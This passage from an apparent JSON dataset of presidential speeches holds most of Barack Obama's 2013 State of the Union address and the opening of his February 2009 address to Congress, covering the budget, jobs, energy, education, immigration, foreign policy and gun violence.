task to make sure that this government works on\nbehalf of the many, and not just the few; that it encourages free\nenterprise, rewards individual initiative, and opens the doors of\nopportunity to every child across this great nation.The American people don't expect government to solve every problem. They\ndon't expect those of us in this chamber to agree on every issue. But\nthey do expect us to put the nation's interests before party. They do\nexpect us to forge reasonable compromise where we can. For they know\nthat America moves forward only when we do so together; and that the\nresponsibility of improving this union remains the task of us all.Our work must begin by making some basic decisions about our budget --\ndecisions that will have a huge impact on the strength of our recovery.Over the last few years, both parties have worked together to reduce the\ndeficit by more than $2.5 trillion -- mostly through spending cuts, but\nalso by raising tax rates on the wealthiest 1 percent of Americans. As a\nresult, we are more than halfway towards the goal of $4 trillion in\ndeficit reduction that economists say we need to stabilize our finances.Now we need to finish the job. And the question is, how?In 2011, Congress passed a law saying that if both parties couldn't\nagree on a plan to reach our deficit goal, about a trillion dollars'\nworth of budget cuts would automatically go into effect this year. These\nsudden, harsh, arbitrary cuts would jeopardize our military readiness.\nThey'd devastate priorities like education, energy, and medical\nresearch. They would certainly slow our recovery, and cost us hundreds\nof thousands of jobs. That's why Democrats, Republicans, business\nleaders, and economists have already said that these cuts, known here in\nWashington as \"the sequester,\" are a really bad idea.Now, some in this Congress have proposed preventing only the defense\ncuts by making even bigger cuts to things like education and job\ntraining; Medicare and Social Security benefits.That idea is even worse. Yes, the biggest driver of our long-term debt\nis the rising cost of health care for an aging population. And those of\nus who care deeply about programs like Medicare must embrace the need\nfor modest reforms -- otherwise, our retirement programs will crowd out\nthe investments we need for our children, and jeopardize the promise of\na secure retirement for future generations.But we can't ask senior citizens and working families to shoulder the\nentire burden of deficit reduction while asking nothing more from the\nwealthiest and most powerful. We won't grow the middle class simply by\nshifting the cost of health care or college onto families that are\nalready struggling, or by forcing communities to lay off more teachers,\ncops, and firefighters. Most Americans -- Democrats, Republicans, and\nIndependents -- understand that we can't just cut our way to prosperity.\nThey know that broad-based economic growth requires a balanced approach\nto deficit reduction, with spending cuts and revenue, and with everybody\ndoing their fair share. And that's the approach I offer tonight.On Medicare, I'm prepared to enact reforms that will achieve the same\namount of health care savings by the beginning of the next decade as the\nreforms proposed by the bipartisan Simpson-Bowles commission. Already,\nthe Affordable Care Act is helping to slow the growth of health care\ncosts. The reforms I'm proposing go even further. We'll reduce taxpayer\nsubsidies to prescription drug companies and ask more from the\nwealthiest seniors. We'll bring down costs by changing the way our\ngovernment pays for Medicare, because our medical bills shouldn't be\nbased on the number of tests ordered or days spent in the hospital --\nthey should be based on the quality of care that our seniors receive.\nAnd I am open to additional reforms from both parties, so long as they\ndon't violate the guarantee of a secure retirement. Our government\nshouldn't make promises we cannot keep -- but we must keep the promises\nwe've already made.To hit the rest of our deficit reduction target, we should do what\nleaders in both parties have already suggested, and save hundreds of\nbillions of dollars by getting rid of tax loopholes and deductions for\nthe well-off and well-connected. After all, why would we choose to make\ndeeper cuts to education and Medicare just to protect special interest\ntax breaks? How is that fair? How does that promote growth?Now is our best chance for bipartisan, comprehensive tax reform that\nencourages job creation and helps bring down the deficit. The American\npeople deserve a tax code that helps small businesses spend less time\nfilling out complicated forms, and more time expanding and hiring; a tax\ncode that ensures billionaires with high-powered accountants can't pay a\nlower rate than their hard-working secretaries; a tax code that lowers\nincentives to move jobs overseas, and lowers tax rates for businesses\nand manufacturers that create jobs right here in America. That's what\ntax reform can deliver. That's what we can do together.I realize that tax reform and entitlement reform won't be easy. The\npolitics will be hard for both sides. None of us will get 100 percent of\nwhat we want. But the alternative will cost us jobs, hurt our economy,\nand visit hardship on millions of hardworking Americans. So let's set\nparty interests aside, and work to pass a budget that replaces reckless\ncuts with smart savings and wise investments in our future. And let's do\nit without the brinksmanship that stresses consumers and scares off\ninvestors. The greatest nation on Earth cannot keep conducting its\nbusiness by drifting from one manufactured crisis to the next. Let's\nagree, right here, right now, to keep the people's government open, pay\nour bills on time, and always uphold the full faith and credit of the\nUnited States of America. The American people have worked too hard, for\ntoo long, rebuilding from one crisis to see their elected officials\ncause another.Now, most of us agree that a plan to reduce the deficit must be part of\nour agenda. But let's be clear: deficit reduction alone is not an\neconomic plan. A growing economy that creates good, middle-class jobs --\nthat must be the North Star that guides our efforts. Every day, we\nshould ask ourselves three questions as a nation: How do we attract more\njobs to our shores? How do we equip our people with the skills needed to\ndo those jobs? And how do we make sure that hard work leads to a decent\nliving?A year and a half ago, I put forward an American Jobs Act that\nindependent economists said would create more than one million new jobs.\nI thank the last Congress for passing some of that agenda, and I urge\nthis Congress to pass the rest. Tonight, I'll lay out additional\nproposals that are fully paid for and fully consistent with the budget\nframework both parties agreed to just 18 months ago. Let me repeat --\nnothing I'm proposing tonight should increase our deficit by a single\ndime. It's not a bigger government we need, but a smarter government\nthat sets priorities and invests in broad-based growth.Our first priority is making America a magnet for new jobs and\nmanufacturing.After shedding jobs for more than 10 years, our manufacturers have added\nabout 500,000 jobs over the past three. Caterpillar is bringing jobs\nback from Japan. Ford is bringing jobs back from Mexico. After locating\nplants in other countries like China, Intel is opening its most advanced\nplant right here at home. And this year, Apple will start making Macs in\nAmerica again.There are things we can do, right now, to accelerate this trend. Last\nyear, we created our first manufacturing innovation institute in\nYoungstown, Ohio. A once-shuttered warehouse is now a state-of-the art\nlab where new workers are mastering the 3D printing that has the\npotential to revolutionize the way we make almost everything. There's no\nreason this can't happen in other towns. So tonight, I'm announcing the\nlaunch of three more of these manufacturing hubs, where businesses will\npartner with the Departments of Defense and Energy to turn regions left\nbehind by globalization into global centers of high-tech jobs. And I ask\nthis Congress to help create a network of fifteen of these hubs and\nguarantee that the next revolution in manufacturing is Made in America.If we want to make the best products, we also have to invest in the best\nideas. Every dollar we invested to map the human genome returned $140 to\nour economy. Today, our scientists are mapping the human brain to unlock\nthe answers to Alzheimer's; developing drugs to regenerate damaged\norgans; devising new material to make batteries ten times more powerful.\nNow is not the time to gut these job-creating investments in science and\ninnovation. Now is the time to reach a level of research and development\nnot seen since the height of the Space Race. And today, no area holds\nmore promise than our investments in American energy.After years of talking about it, we are finally poised to control our\nown energy future. We produce more oil at home than we have in 15 years.\nWe have doubled the distance our cars will go on a gallon of gas, and\nthe amount of renewable energy we generate from sources like wind and\nsolar -- with tens of thousands of good, American jobs to show for it. We\nproduce more natural gas than ever before -- and nearly everyone's energy\nbill is lower because of it. And over the last four years, our emissions\nof the dangerous carbon pollution that threatens our planet have\nactually fallen.But for the sake of our children and our future, we must do more to\ncombat climate change. Yes, it's true that no single event makes a\ntrend. But the fact is, the 12 hottest years on record have all come in\nthe last 15. Heat waves, droughts, wildfires, and floods -- all are now\nmore frequent and intense. We can choose to believe that Superstorm\nSandy, and the most severe drought in decades, and the worst wildfires\nsome states have ever seen were all just a freak coincidence. Or we can\nchoose to believe in the overwhelming judgment of science -- and act\nbefore it's too late.The good news is, we can make meaningful progress on this issue while\ndriving strong economic growth. I urge this Congress to pursue a\nbipartisan, market-based solution to climate change, like the one John\nMcCain and Joe Lieberman worked on together a few years ago. But if\nCongress won't act soon to protect future generations, I will. I will\ndirect my Cabinet to come up with executive actions we can take, now and\nin the future, to reduce pollution, prepare our communities for the\nconsequences of climate change, and speed the transition to more\nsustainable sources of energy.Four years ago, other countries dominated the clean energy market and\nthe jobs that came with it. We've begun to change that. Last year, wind\nenergy added nearly half of all new power capacity in America. So let's\ngenerate even more. Solar energy gets cheaper by the year -- so let's\ndrive costs down even further. As long as countries like China keep\ngoing all-in on clean energy, so must we.In the meantime, the natural gas boom has led to cleaner power and\ngreater energy independence. That's why my Administration will keep\ncutting red tape and speeding up new oil and gas permits. But I also\nwant to work with this Congress to encourage the research and technology\nthat helps natural gas burn even cleaner and protects our air and water.Indeed, much of our new-found energy is drawn from lands and waters that\nwe, the public, own together. So tonight, I propose we use some of our\noil and gas revenues to fund an Energy Security Trust that will drive\nnew research and technology to shift our cars and trucks off oil for\ngood. If a non-partisan coalition of CEOs and retired generals and\nadmirals can get behind this idea, then so can we. Let's take their\nadvice and free our families and businesses from the painful spikes in\ngas prices we've put up with for far too long. I'm also issuing a new\ngoal for America: let's cut in half the energy wasted by our homes and\nbusinesses over the next twenty years. The states with the best ideas to\ncreate jobs and lower energy bills by constructing more efficient\nbuildings will receive federal support to help make it happen.America's energy sector is just one part of an aging infrastructure\nbadly in need of repair. Ask any CEO where they'd rather locate and\nhire: a country with deteriorating roads and bridges, or one with\nhigh-speed rail and internet; high-tech schools and self-healing power\ngrids. The CEO of Siemens America -- a company that brought hundreds of\nnew jobs to North Carolina -- has said that if we upgrade our\ninfrastructure, they'll bring even more jobs. And I know that you want\nthese job-creating projects in your districts. I've seen you all at the\nribbon-cuttings.Tonight, I propose a \"Fix-It-First\" program to put people to work as\nsoon as possible on our most urgent repairs, like the nearly 70,000\nstructurally deficient bridges across the country. And to make sure\ntaxpayers don't shoulder the whole burden, I'm also proposing a\nPartnership to Rebuild America that attracts private capital to upgrade\nwhat our businesses need most: modern ports to move our goods; modern\npipelines to withstand a storm; modern schools worthy of our children.\nLet's prove that there is no better place to do business than the United\nStates of America. And let's start right away.Part of our rebuilding effort must also involve our housing sector.\nToday, our housing market is finally healing from the collapse of 2007.\nHome prices are rising at the fastest pace in six years, home purchases\nare up nearly 50 percent, and construction is expanding again.But even with mortgage rates near a 50-year low, too many families with\nsolid credit who want to buy a home are being rejected. Too many\nfamilies who have never missed a payment and want to refinance are being\ntold no. That's holding our entire economy back, and we need to fix it.\nRight now, there's a bill in this Congress that would give every\nresponsible homeowner in America the chance to save $3,000 a year by\nrefinancing at today's rates. Democrats and Republicans have supported\nit before. What are we waiting for? Take a vote, and send me that bill.\nRight now, overlapping regulations keep responsible young families from\nbuying their first home. What's holding us back? Let's streamline the\nprocess, and help our economy grow.These initiatives in manufacturing, energy, infrastructure, and housing\nwill help entrepreneurs and small business owners expand and create new\njobs. But none of it will matter unless we also equip our citizens with\nthe skills and training to fill those jobs. And that has to start at the\nearliest possible age.Study after study shows that the sooner a child begins learning, the\nbetter he or she does down the road. But today, fewer than 3 in 10 four\nyear-olds are enrolled in a high-quality preschool program. Most\nmiddle-class parents can't afford a few hundred bucks a week for private\npreschool. And for poor kids who need help the most, this lack of access\nto preschool education can shadow them for the rest of their lives.Tonight, I propose working with states to make high-quality preschool\navailable to every child in America. Every dollar we invest in\nhigh-quality early education can save more than seven dollars later on --\nby boosting graduation rates, reducing teen pregnancy, even reducing\nviolent crime. In states that make it a priority to educate our youngest\nchildren, like Georgia or Oklahoma, studies show students grow up more\nlikely to read and do math at grade level, graduate high school, hold a\njob, and form more stable families of their own. So let's do what works,\nand make sure none of our children start the race of life already\nbehind. Let's give our kids that chance.Let's also make sure that a high school diploma puts our kids on a path\nto a good job. Right now, countries like Germany focus on graduating\ntheir high school students with the equivalent of a technical degree\nfrom one of our community colleges, so that they're ready for a job. At\nschools like P-Tech in Brooklyn, a collaboration between New York Public\nSchools, the City University of New York, and IBM, students will\ngraduate with a high school diploma and an associate degree in computers\nor engineering.We need to give every American student opportunities like this. Four\nyears ago, we started Race to the Top -- a competition that convinced\nalmost every state to develop smarter curricula and higher standards,\nfor about 1 percent of what we spend on education each year. Tonight,\nI'm announcing a new challenge to redesign America's high schools so\nthey better equip graduates for the demands of a high-tech economy.\nWe'll reward schools that develop new partnerships with colleges and\nemployers, and create classes that focus on science, technology,\nengineering, and math -- the skills today's employers are looking for to\nfill jobs right now and in the future.Now, even with better high schools, most young people will need some\nhigher education. It's a simple fact: the more education you have, the\nmore likely you are to have a job and work your way into the middle\nclass. But today, skyrocketing costs price way too many young people out\nof a higher education, or saddle them with unsustainable debt.Through tax credits, grants, and better loans, we have made college more\naffordable for millions of students and families over the last few\nyears. But taxpayers cannot continue to subsidize the soaring cost of\nhigher education. Colleges must do their part to keep costs down, and\nit's our job to make sure they do. Tonight, I ask Congress to change the\nHigher Education Act, so that affordability and value are included in\ndetermining which colleges receive certain types of federal aid. And\ntomorrow, my Administration will release a new \"College Scorecard\" that\nparents and students can use to compare schools based on a simple\ncriteria: where you can get the most bang for your educational buck.To grow our middle class, our citizens must have access to the education\nand training that today's jobs require. But we also have to make sure\nthat America remains a place where everyone who's willing to work hard\nhas the chance to get ahead.Our economy is stronger when we harness the talents and ingenuity of\nstriving, hopeful immigrants. And right now, leaders from the business,\nlabor, law enforcement, and faith communities all agree that the time\nhas come to pass comprehensive immigration reform.Real reform means strong border security, and we can build on the\nprogress my Administration has already made -- putting more boots on the\nsouthern border than at any time in our history, and reducing illegal\ncrossings to their lowest levels in 40 years.Real reform means establishing a responsible pathway to earned\ncitizenship -- a path that includes passing a background check, paying\ntaxes and a meaningful penalty, learning English, and going to the back\nof the line behind the folks trying to come here legally.And real reform means fixing the legal immigration system to cut waiting\nperiods, reduce bureaucracy, and attract the highly-skilled\nentrepreneurs and engineers that will help create jobs and grow our\neconomy.In other words, we know what needs to be done. As we speak, bipartisan\ngroups in both chambers are working diligently to draft a bill, and I\napplaud their efforts. Now let's get this done. Send me a comprehensive\nimmigration reform bill in the next few months, and I will sign it right\naway.But we can't stop there. We know our economy is stronger when our wives,\nmothers, and daughters can live their lives free from discrimination in\nthe workplace, and free from the fear of domestic violence. Today, the\nSenate passed the Violence Against Women Act that Joe Biden originally\nwrote almost 20 years ago. I urge the House to do the same. And I ask\nthis Congress to declare that women should earn a living equal to their\nefforts, and finally pass the Paycheck Fairness Act this year.We know our economy is stronger when we reward an honest day's work with\nhonest wages. But today, a full-time worker making the minimum wage\nearns $14,500 a year. Even with the tax relief we've put in place, a\nfamily with two kids that earns the minimum wage still lives below the\npoverty line. That's wrong. That's why, since the last time this\nCongress raised the minimum wage, nineteen states have chosen to bump\ntheirs even higher.Tonight, let's declare that in the wealthiest nation on Earth, no one\nwho works full-time should have to live in poverty, and raise the\nfederal minimum wage to $9.00 an hour. This single step would raise the\nincomes of millions of working families. It could mean the difference\nbetween groceries or the food bank; rent or eviction; scraping by or\nfinally getting ahead. For businesses across the country, it would mean\ncustomers with more money in their pockets. In fact, working folks\nshouldn't have to wait year after year for the minimum wage to go up\nwhile CEO pay has never been higher. So here's an idea that Governor\nRomney and I actually agreed on last year: let's tie the minimum wage to\nthe cost of living, so that it finally becomes a wage you can live on.Tonight, let's also recognize that there are communities in this country\nwhere no matter how hard you work, it's virtually impossible to get\nahead. Factory towns decimated from years of plants packing up.\nInescapable pockets of poverty, urban and rural, where young adults are\nstill fighting for their first job. America is not a place where chance\nof birth or circumstance should decide our destiny. And that is why we\nneed to build new ladders of opportunity into the middle class for all\nwho are willing to climb them.Let's offer incentives to companies that hire Americans who've got what\nit takes to fill that job opening, but have been out of work so long\nthat no one will give them a chance. Let's put people back to work\nrebuilding vacant homes in run-down neighborhoods. And this year, my\nAdministration will begin to partner with 20 of the hardest-hit towns in\nAmerica to get these communities back on their feet. We'll work with\nlocal leaders to target resources at public safety, education, and\nhousing. We'll give new tax credits to businesses that hire and invest.\nAnd we'll work to strengthen families by removing the financial\ndeterrents to marriage for low-income couples, and doing more to\nencourage fatherhood -- because what makes you a man isn't the ability to\nconceive a child; it's having the courage to raise one.Stronger families. Stronger communities. A stronger America. It is this\nkind of prosperity -- broad, shared, and built on a thriving middle class\n-- that has always been the source of our progress at home. It is also\nthe foundation of our power and influence throughout the world.Tonight, we stand united in saluting the troops and civilians who\nsacrifice every day to protect us. Because of them, we can say with\nconfidence that America will complete its mission in Afghanistan, and\nachieve our objective of defeating the core of al Qaeda. Already, we\nhave brought home 33,000 of our brave servicemen and women. This spring,\nour forces will move into a support role, while Afghan security forces\ntake the lead. Tonight, I can announce that over the next year, another\n34,000 American troops will come home from Afghanistan. This drawdown\nwill continue. And by the end of next year, our war in Afghanistan will\nbe over.Beyond 2014, America's commitment to a unified and sovereign Afghanistan\nwill endure, but the nature of our commitment will change. We are\nnegotiating an agreement with the Afghan government that focuses on two\nmissions: training and equipping Afghan forces so that the country does\nnot again slip into chaos, and counter-terrorism efforts that allow us\nto pursue the remnants of al Qaeda and their affiliates.Today, the organization that attacked us on 9/11 is a shadow of its\nformer self. Different al Qaeda affiliates and extremist groups have\nemerged -- from the Arabian Peninsula to Africa. The threat these groups\npose is evolving. But to meet this threat, we don't need to send tens of\nthousands of our sons and daughters abroad, or occupy other nations.\nInstead, we will need to help countries like Yemen, Libya, and Somalia\nprovide for their own security, and help allies who take the fight to\nterrorists, as we have in Mali. And, where necessary, through a range of\ncapabilities, we will continue to take direct action against those\nterrorists who pose the gravest threat to Americans.As we do, we must enlist our values in the fight. That is why my\nAdministration has worked tirelessly to forge a durable legal and policy\nframework to guide our counterterrorism operations. Throughout, we have\nkept Congress fully informed of our efforts. I recognize that in our\ndemocracy, no one should just take my word that we're doing things the\nright way. So, in the months ahead, I will continue to engage with\nCongress to ensure not only that our targeting, detention, and\nprosecution of terrorists remains consistent with our laws and system of\nchecks and balances, but that our efforts are even more transparent to\nthe American people and to the world.Of course, our challenges don't end with al Qaeda. America will continue\nto lead the effort to prevent the spread of the world's most dangerous\nweapons. The regime in North Korea must know that they will only achieve\nsecurity and prosperity by meeting their international obligations.\nProvocations of the sort we saw last night will only isolate them\nfurther, as we stand by our allies, strengthen our own missile defense,\nand lead the world in taking firm action in response to these threats.Likewise, the leaders of Iran must recognize that now is the time for a\ndiplomatic solution, because a coalition stands united in demanding that\nthey meet their obligations, and we will do what is necessary to prevent\nthem from getting a nuclear weapon. At the same time, we will engage\nRussia to seek further reductions in our nuclear arsenals, and continue\nleading the global effort to secure nuclear materials that could fall\ninto the wrong hands -- because our ability to influence others depends\non our willingness to lead.America must also face the rapidly growing threat from cyber-attacks. We\nknow hackers steal people's identities and infiltrate private e-mail. We\nknow foreign countries and companies swipe our corporate secrets. Now\nour enemies are also seeking the ability to sabotage our power grid, our\nfinancial institutions, and our air traffic control systems. We cannot\nlook back years from now and wonder why we did nothing in the face of\nreal threats to our security and our economy.That's why, earlier today, I signed a new executive order that will\nstrengthen our cyber defenses by increasing information sharing, and\ndeveloping standards to protect our national security, our jobs, and our\nprivacy. Now, Congress must act as well, by passing legislation to give\nour government a greater capacity to secure our networks and deter\nattacks.Even as we protect our people, we should remember that today's world\npresents not only dangers, but opportunities. To boost American exports,\nsupport American jobs, and level the playing field in the growing\nmarkets of Asia, we intend to complete negotiations on a Trans-Pacific\nPartnership. And tonight, I am announcing that we will launch talks on a\ncomprehensive Transatlantic Trade and Investment Partnership with the\nEuropean Union -- because trade that is free and fair across the Atlantic\nsupports millions of good-paying American jobs.We also know that progress in the most impoverished parts of our world\nenriches us all. In many places, people live on little more than a\ndollar a day. So the United States will join with our allies to\neradicate such extreme poverty in the next two decades: by connecting\nmore people to the global economy and empowering women; by giving our\nyoung and brightest minds new opportunities to serve and helping\ncommunities to feed, power, and educate themselves; by saving the\nworld's children from preventable deaths; and by realizing the promise\nof an AIDS-free generation.Above all, America must remain a beacon to all who seek freedom during\nthis period of historic change. I saw the power of hope last year in\nRangoon -- when Aung San Suu Kyi welcomed an American President into the\nhome where she had been imprisoned for years; when thousands of Burmese\nlined the streets, waving American flags, including a man who said,\n\"There is justice and law in the United States. I want our country to be\nlike that.\"In defense of freedom, we will remain the anchor of strong alliances\nfrom the Americas to Africa; from Europe to Asia. In the Middle East, we\nwill stand with citizens as they demand their universal rights, and\nsupport stable transitions to democracy. The process will be messy, and\nwe cannot presume to dictate the course of change in countries like\nEgypt; but we can -- and will -- insist on respect for the fundamental\nrights of all people. We will keep the pressure on a Syrian regime that\nhas murdered its own people, and support opposition leaders that respect\nthe rights of every Syrian. And we will stand steadfast with Israel in\npursuit of security and a lasting peace. These are the messages I will\ndeliver when I travel to the Middle East next month.All this work depends on the courage and sacrifice of those who serve in\ndangerous places at great personal risk -- our diplomats, our\nintelligence officers, and the men and women of the United States Armed\nForces. As long as I'm Commander-in-Chief, we will do whatever we must\nto protect those who serve their country abroad, and we will maintain\nthe best military in the world. We will invest in new capabilities, even\nas we reduce waste and wartime spending. We will ensure equal treatment\nfor all service members, and equal benefits for their families -- gay and\nstraight. We will draw upon the courage and skills of our sisters and\ndaughters, because women have proven under fire that they are ready for\ncombat. We will keep faith with our veterans -- investing in world-class\ncare, including mental health care, for our wounded warriors; supporting\nour military families; and giving our veterans the benefits, education,\nand job opportunities they have earned. And I want to thank my wife\nMichelle and Dr. Jill Biden for their continued dedication to serving\nour military families as well as they serve us.But defending our freedom is not the job of our military alone. We must\nall do our part to make sure our God-given rights are protected here at\nhome. That includes our most fundamental right as citizens: the right to\nvote. When any Americans -- no matter where they live or what their party\n-- are denied that right simply because they can't wait for five, six,\nseven hours just to cast their ballot, we are betraying our ideals.\nThat's why, tonight, I'm announcing a non-partisan commission to improve\nthe voting experience in America. And I'm asking two long-time experts\nin the field, who've recently served as the top attorneys for my\ncampaign and for Governor Romney's campaign, to lead it. We can fix\nthis, and we will. The American people demand it. And so does our\ndemocracy.Of course, what I've said tonight matters little if we don't come\ntogether to protect our most precious resource -- our children.It has been two months since Newtown. I know this is not the first time\nthis country has debated how to reduce gun violence. But this time is\ndifferent. Overwhelming majorities of Americans -- Americans who believe\nin the 2nd Amendment -- have come together around commonsense reform --\nlike background checks that will make it harder for criminals to get\ntheir hands on a gun. Senators of both parties are working together on\ntough new laws to prevent anyone from buying guns for resale to\ncriminals. Police chiefs are asking our help to get weapons of war and\nmassive ammunition magazines off our streets, because they are tired of\nbeing outgunned.Each of these proposals deserves a vote in Congress. If you want to vote\nno, that's your choice. But these proposals deserve a vote. Because in\nthe two months since Newtown, more than a thousand birthdays,\ngraduations, and anniversaries have been stolen from our lives by a\nbullet from a gun.One of those we lost was a young girl named Hadiya Pendleton. She was 15\nyears old. She loved Fig Newtons and lip gloss. She was a majorette. She\nwas so good to her friends, they all thought they were her best friend.\nJust three weeks ago, she was here, in Washington, with her classmates,\nperforming for her country at my inauguration. And a week later, she was\nshot and killed in a Chicago park after school, just a mile away from my\nhouse.Hadiya's parents, Nate and Cleo, are in this chamber tonight, along with\nmore than two dozen Americans whose lives have been torn apart by gun\nviolence. They deserve a vote.Gabby Giffords deserves a vote.The families of Newtown deserve a vote.The families of Aurora deserve a vote.The families of Oak Creek, and Tucson, and Blacksburg, and the countless\nother communities ripped open by gun violence -- they deserve a simple\nvote.Our actions will not prevent every senseless act of violence in this\ncountry. Indeed, no laws, no initiatives, no administrative acts will\nperfectly solve all the challenges I've outlined tonight. But we were\nnever sent here to be perfect. We were sent here to make what difference\nwe can, to secure this nation, expand opportunity, and uphold our ideals\nthrough the hard, often frustrating, but absolutely necessary work of\nself-government.We were sent here to look out for our fellow Americans the same way they\nlook out for one another, every single day, usually without fanfare, all\nacross this country. We should follow their example.We should follow the example of a New York City nurse named Menchu\nSanchez. When Hurricane Sandy plunged her hospital into darkness, her\nthoughts were not with how her own home was faring -- they were with the\ntwenty precious newborns in her care and the rescue plan she devised\nthat kept them all safe.We should follow the example of a North Miami woman named Desiline\nVictor. When she arrived at her polling place, she was told the wait to\nvote might be six hours. And as time ticked by, her concern was not with\nher tired body or aching feet, but whether folks like her would get to\nhave their say. Hour after hour, a throng of people stayed in line in\nsupport of her. Because Desiline is 102 years old. And they erupted in\ncheers when she finally put on a sticker that read \"I Voted.\"We should follow the example of a police officer named Brian Murphy.\nWhen a gunman opened fire on a Sikh temple in Wisconsin, and Brian was\nthe first to arrive, he did not consider his own safety. He fought back\nuntil help arrived, and ordered his fellow officers to protect the\nsafety of the Americans worshiping inside -- even as he lay bleeding from\ntwelve bullet wounds.When asked how he did that, Brian said, \"That's just the way we're\nmade.\"That's just the way we're made.We may do different jobs, and wear different uniforms, and hold\ndifferent views than the person beside us. But as Americans, we all\nshare the same proud title:We are citizens. It's a word that doesn't just describe our nationality\nor legal status. It describes the way we're made. It describes what we\nbelieve. It captures the enduring idea that this country only works when\nwe accept certain obligations to one another and to future generations;\nthat our rights are wrapped up in the rights of others; and that well\ninto our third century as a nation, it remains the task of us all, as\ncitizens of these United States, to be the authors of the next great\nchapter in our American story.Thank you, God bless you, and God bless the United States of America.", 
+    "name": "Barack Obama"
+}
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+{
+    "date": "February 24, 2009", 
+    "speech": "Madame Speaker, Mr. Vice President, Members of Congress, and the First Lady of\nthe United States:I've come here tonight not only to address the distinguished men and women in\nthis great chamber, but to speak frankly and directly to the men and women who\nsent us here.I know that for many Americans watching right now, the state of our economy is\na concern that rises above all others.  And rightly so.  If you haven't been\npersonally affected by this recession, you probably know someone who has -- a\nfriend; a neighbor; a member of your family.  You don't need to hear another\nlist of statistics to know that our economy is in crisis, because you live it\nevery day.  It's the worry you wake up with and the source of sleepless\nnights.  It's the job you thought you'd retire from but now have lost; the\nbusiness you built your dreams upon that's now hanging by a thread; the\ncollege acceptance letter your child had to put back in the envelope.  The\nimpact of this recession is real, and it is everywhere.But while our economy may be weakened and our confidence shaken; though we are\nliving through difficult and uncertain times, tonight I want every American to\nknow this:We will rebuild, we will recover, and the United States of America will emerge\nstronger than before.The weight of this crisis will not determine the destiny of this nation.  The\nanswers to our problems don't lie beyond our reach.  They exist in our\nlaboratories and universities; in our fields and our factories; in the\nimaginations of our entrepreneurs and the pride of the hardest-working people\non Earth.  Those qualities that have made America the greatest force of\nprogress and prosperity in human history we still possess in ample measure. \nWhat is required now is for this country to pull together, confront boldly the\nchallenges we face, and take responsibility for our future once more.Now, if we're honest with ourselves, we'll admit that for too long, we have\nnot always met these responsibilities -- as a government or as a people.  I\nsay this not to lay blame or look backwards, but because it is only by\nunderstanding how we arrived at this moment that we'll be able to lift\nourselves out of this predicament.The fact is, our economy did not fall into decline overnight.  Nor did all of\nour problems begin when the housing market collapsed or the stock market sank.\n We have known for decades that our survival depends on finding new sources of\nenergy.  Yet we import more oil today than ever before.  The cost of health\ncare eats up more and more of our savings each year, yet we keep delaying\nreform.  Our children will compete for jobs in a global economy that too many\nof our schools do not prepare them for.  And though all these challenges went\nunsolved, we still managed to spend more money and pile up more debt, both as\nindividuals and through our government, than ever before.In other words, we have lived through an era where too often, short-term gains\nwere prized over long-term prosperity; where we failed to look beyond the next\npayment, the next quarter, or the next election.  A surplus became an excuse\nto transfer wealth to the wealthy instead of an opportunity to invest in our\nfuture.  Regulations were gutted for the sake of a quick profit at the expense\nof a healthy market.  People bought homes they knew they couldn't afford from\nbanks and lenders who pushed those bad loans anyway.  And all the while,\ncritical debates and difficult decisions were put off for some other time on\nsome other day.Well that day of reckoning has arrived, and the time to take charge of our\nfuture is here.Now is the time to act boldly and wisely -- to not only revive this economy,\nbut to build a new foundation for lasting prosperity.  Now is the time to\njumpstart job creation, re-start lending, and invest in areas like energy,\nhealth care, and education that will grow our economy, even as we make hard\nchoices to bring our deficit down.  That is what my economic agenda is\ndesigned to do, and that's what I'd like to talk to you about tonight.It's an agenda that begins with jobs.As soon as I took office, I asked this Congress to send me a recovery plan by\nPresident's Day that would put people back to work and put money in their\npockets.  Not because I believe in bigger government -- I don't.  Not because\nI'm not mindful of the massive debt we've inherited -- I am.  I called for\naction because the failure to do so would have cost more jobs and caused more\nhardships.  In fact, a failure to act would have worsened our long-term\ndeficit by assuring weak economic growth for years.  That's why I pushed for\nquick action.  And tonight, I am grateful that this Congress delivered, and\npleased to say that the American Recovery and Reinvestment Act is now law.Over the next two years, this plan will save or create 3.5 million jobs.  More\nthan 90% of these jobs will be in the private sector -- jobs rebuilding our\nroads and bridges; constructing wind turbines and solar panels; laying\nbroadband and expanding mass transit.Because of this plan, there are teachers who can now keep their jobs and\neducate our kids.  Health care professionals can continue caring for our sick.\n There are 57 police officers who are still on the streets of Minneapolis\ntonight because this plan prevented the layoffs their department was about to\nmake.Because of this plan, 95% of the working households in America will receive a\ntax cut -- a tax cut that you will see in your paychecks beginning on April\n1st.Because of this plan, families who are struggling to pay tuition costs will\nreceive a $2,500 tax credit for all four years of college.  And Americans who\nhave lost their jobs in this recession will be able to receive extended\nunemployment benefits and continued health care coverage to help them weather\nthis storm.I know there are some in this chamber and watching at home who are skeptical\nof whether this plan will work.  I understand that skepticism.  Here in\nWashington, we've all seen how quickly good intentions can turn into broken\npromises and wasteful spending.  And with a plan of this scale comes enormous\nresponsibility to get it right.That is why I have asked Vice President Biden to lead a tough, unprecedented\noversight effort -- because nobody messes with Joe.  I have told each member\nof my Cabinet as well as mayors and governors across the country that they\nwill be held accountable by me and the American people for every dollar they\nspend.  I have appointed a proven and aggressive Inspector General to ferret\nout any and all cases of waste and fraud.  And we have created a new website\ncalled recovery.gov so that every American can find out how and where their\nmoney is being spent.So the recovery plan we passed is the first step in getting our economy back\non track.  But it is just the first step.  Because even if we manage this plan\nflawlessly, there will be no real recovery unless we clean up the credit\ncrisis that has severely weakened our financial system.I want to speak plainly and candidly about this issue tonight, because every\nAmerican should know that it directly affects you and your family's\nwell-being.  You should also know that the money you've deposited in banks\nacross the country is safe; your insurance is secure; and you can rely on the\ncontinued operation of our financial system.  That is not the source of\nconcern.The concern is that if we do not re-start lending in this country, our\nrecovery will be choked off before it even begins.You see, the flow of credit is the lifeblood of our economy.  The ability to\nget a loan is how you finance the purchase of everything from a home to a car\nto a college education; how stores stock their shelves, farms buy equipment,\nand businesses make payroll.But credit has stopped flowing the way it should.  Too many bad loans from the\nhousing crisis have made their way onto the books of too many banks.  With so\nmuch debt and so little confidence, these banks are now fearful of lending out\nany more money to households, to businesses, or to each other.  When there is\nno lending, families can't afford to buy homes or cars.  So businesses are\nforced to make layoffs.  Our economy suffers even more, and credit dries up\neven further.That is why this administration is moving swiftly and aggressively to break\nthis destructive cycle, restore confidence, and re-start lending.We will do so in several ways.  First, we are creating a new lending fund that\nrepresents the largest effort ever to help provide auto loans, college loans,\nand small business loans to the consumers and entrepreneurs who keep this\neconomy running.Second, we have launched a housing plan that will help responsible families\nfacing the threat of foreclosure lower their monthly payments and re-finance\ntheir mortgages.  It's a plan that won't help speculators or that neighbor\ndown the street who 